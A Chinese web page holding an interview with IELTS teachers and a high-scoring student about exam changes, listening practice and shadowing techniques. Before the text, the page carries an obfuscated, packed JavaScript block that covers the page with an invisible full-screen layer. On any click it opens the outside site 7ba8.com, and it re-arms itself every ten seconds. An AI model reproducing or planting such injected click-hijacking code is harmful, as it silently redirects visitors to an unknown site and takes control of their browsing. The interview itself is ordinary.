<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>![]()
【主持人：】首先介绍一下嘉宾。
这位是雅思著名专家David,这位是启德雅思南区学术副总监、资深听力、口语主讲林晓东,大家都叫他花花。还有就是启德雅思高分学员马婷婷。
在我们的访谈正式开始之前,先预告一下,在本周日下午2点,David和林晓东老师会在广州东方宾馆有一个巡回讲座,与大家面对面探讨雅思考试技巧,有兴趣的同学就不要错过了。
David,这次来到中国有没有一些关于雅思新信息可以带给我们呢？
【David：】在雅思的两科,一个是口语、一个是阅读,都有了新的进展。雅思口语有四档,现在一路升到每一个双数和单数的评分都会出一个相对比较细致的分数,将考生的发音完全表露出来,这对考官和考生都是相当大的挑战,因为考官需要更加细致的去评判考生的表现,考生可以从更加细的点提升自己口语发音上的标准,以考到更高的总分。这对整个雅思的考官和考生都是很大的挑战,作为雅思老师来说,就不能单纯教给考生考试就可以了,而要告诉考生如何学习和使用整个英文语言。
另外就是培训类的阅读,培训类的阅读第三部分的文章更加倾向于培训、就业、工作了,这方面的内容会更加的明显,因为这也是给考雅思的学生有更加清晰的方向,因为很多人都希望在国外就业或者继续就业,因此更加侧重于这个方面的内容。澳大利亚如果申请定居的话,需要更加关注移民类的信息。
【主持人：】在考试方面,这一年的时间里,特别是中国的学生在雅思考试上有没有一些新的问题出现呢？
【林晓东：】其实过去一年新标准出来,问题还是跟以前没有出新标准时非常相似,学生都是相对练习量比较少,因此他们的整体分数上不去,尤其在作文和口语上是表现非常明显,很多学生是没有怎么训练就上考场考试了,这对他们整体分数的提高有非常大的障碍,也有一些学生甚至是裸考,没有什么准备就冲上考场考试,这样相对来说他们有更大的心理负担,因为根本没有什么准备,无备而战无法取得好的成绩,只能吃老本。
【主持人：】也就是锻炼不够了。学生的平均水平有没有一些上升或者是下降呢？
【林晓东：】其实我们这里没有整体的数字来表明学生的水平,但是作为启德教育雅思培训,我作为这个方面的负责人,看到学生水平有的相当高,也有的比较低,参差不齐,低龄化的学生比较多,比如说高中生,还有初中生,来尝尝雅思考试的味道,有高有低,这是一项有的。而且马婷婷是8分的高分考生,她也会跟大家分享她的经验。
【主持人：】现在的留学低龄化了,所以雅思考试也是低龄化了。
【林晓东：】海外教育的机会越来越多,这也是一个影响。
【主持人：】下一个问题请问高分学员,马婷婷,到底你拿了多高的分数？
【马婷婷：】总分8分,听力9分,阅读8分,写作7分,以及口语8分。
【主持人：】这应该是满分了吧。当初准备了多长时间呢？
【马婷婷：】整个雅思准备了大概三四个月左右的时间,其中上启德雅思培训班大概是两个月的时间,自己回去又复习了一个多月左右,就去报考考试了。所以是大概三四个月左右的时间。
其实我觉得雅思并不是简单三个月就可以从零分考到8分,是需要很长的时间积累,必须自己本身有一定的基础,然后再去上像启德这样的培训班,等于给我们指出了一个捷径,这样我们可以在自己原有基础上提高分数,自己平时的基础还是很重要的,大部分的分数都是平常积累的。
【主持人：】知道自己考了这么高分数,是不是很激动？
【马婷婷：】是啊,很激动,我怕自己是眼花。
【主持人：】花花老师,现在的题目是不是更加偏向简单化呢？
【林晓东：】考试的标准是已经定出来的了,考生出来不同的分数,是因为每一个学生的能力不一样,或者备考过程付出的努力不一样,考试本身并没有多大的变化,我们并不认为考试有简单化。
【主持人：】婷婷的听力是满分了,这是很厉害的分数了,那么你有没有技巧跟网友们分享呢？
【马婷婷：】有,我的听力方法可以说比较神经病,比较变态一些。我自己很喜欢看英文的电视、电影,以及听英文广播的节目,我是喜欢同一部东西不停的听,我最喜欢看的一部电影大概前后看了五六十次左右,首先是了解剧情,看到第三第四次就是更清晰知道他们说了什么,再往下看就是语音语调,然后还可以了解西方文化的东西,因为电影都承载着西方文化的东西。通过不断的听、不断的听,打通自己的耳朵,让自己对英文的发音更加敏感,无论是专四专八,还是雅思听力考试,都是非常有帮助的。
【主持人：】听的多了就会下意识的说出来了。
【马婷婷：】对,这很重要。
【主持人：】花花老师,在网上经常可以看到关于你提出的听力跟读法,这个跟读法是不是像唱歌、背书一样呢？
【林晓东：】其实是有不同的,但是形式是很相似的,就像我们唱KTV,字幕走过我们跟着唱过去,其实是眼睛输入的过程,很多网友或者是考生是输入了声音,但是无法把声音输出出来,所以不是听的不够,而是说的不够,就会造成一些考生在备考的过程中死命的听,但是没有效果。我在教学时发现这个情况,就逼着学生撬开他们的耳朵,强化他们的语感,提高他们的听力,而且可以帮助他们提高听力,我在听力和口语两个方面教时都是这样,一举两得。
【主持人：】其实就是以材料作为你听力跟读法的素材,那还有什么文章之类的东西可以拿来呢？
【林晓东：】有很多,比如说David老师和清华大学出的有关雅思备考的书籍,完全可以拿来作为学生训练的,网友都可以在网上找到。
【主持人：】其实也不仅仅是雅思听力,很多时候英语考试听力很多学生遇到的问题是听不到,或者是我听到了没有办法把它记住,花花老师有什么技巧可以提供给新浪网友解决这个方面的问题呢？
【林晓东：】整体问题要解决需要有一个详细的过程,简单来说我们一个是时间差,要抓一个时间差,很多时候你抓不到时间差,听完了就以为答案已经过去了,就会很慌张,这时就会更加抓不住。你要将听题前、听题中、听题后三个部分进行结合,整体需要在堂上进行操作,才能看出问题到底出在哪里,所以现在只能简单的说一说。
【主持人：】David,你觉得在中国学生雅思考试中有没有普遍存在的问题呢？
【David：】其实中国学生主要的问题是听的时候有取材和话题方面的,我在中国教书相当长时间了,很多年前就在国内开始接触国内的生活,其实任何人学习外语都会有困难,没有抓住机会听是最主要的原因,我们学校有精听和泛听的训练,但是很多同学只会集中注意力在语法和阅读文章上,语法是很重要,但是需要使用出来才能对语言一个活的感觉。单纯是集中在语法词汇上,或者是单纯集中在阅读上,会造成听力的面相当窄,听的时候材料可以非常丰富,听双人、单人,这也是雅思考试到的一个方面,还要听不同的口音和不同的话题,很多同学只会听美国口音,因为看美剧或者美国电影比较多,这样就以为美国人说的就是英文,其实英文有相当多,主流英语国家有美国、英国、澳大利亚、爱尔兰等,如果我们只注重一个国家的口音,就可能会相对其他的国家,所以话题不要太局限,口音不要太单调,话题方面我们也要广泛的涉猎,比如说社会学科、自然学科、敏感社会话题、历史、地理、生活学习等方面的都有可能在雅思里考到,当然不会考到太敏感的话题,但是会有大家关心的话题,听力、口音都是如此,而且不同的难度都要听一听,这两年高考已经加入了不同的口音,比如说去年高考加入了日本人的口音。这对考试,也对大家出国时的生活比较方便。
【主持人：】有时环境对英语的练习真的很重要,特别是中国的考生很多时候是没有英语的语境在身边,所以很多时候无法提高。
花花老师,在英语上听和说其实是不分家的,我们在练习口语的时候会不会对听力有一定的帮助呢？
【林晓东：】其实作为考生来说,听和说应该合在一块训练,因为考试不是你单纯说出来就可以了,还要听懂考官在说什么,很多时候你争着回答,其实并不是考官需要的信息,其实你回答很漂亮,考官也不会给很多分数。首先要考生听懂考官的语音,要明白意思然后及时的回答,听懂、听好,然后回答出来,所以听和说在口语是里非常重要的。 |
收藏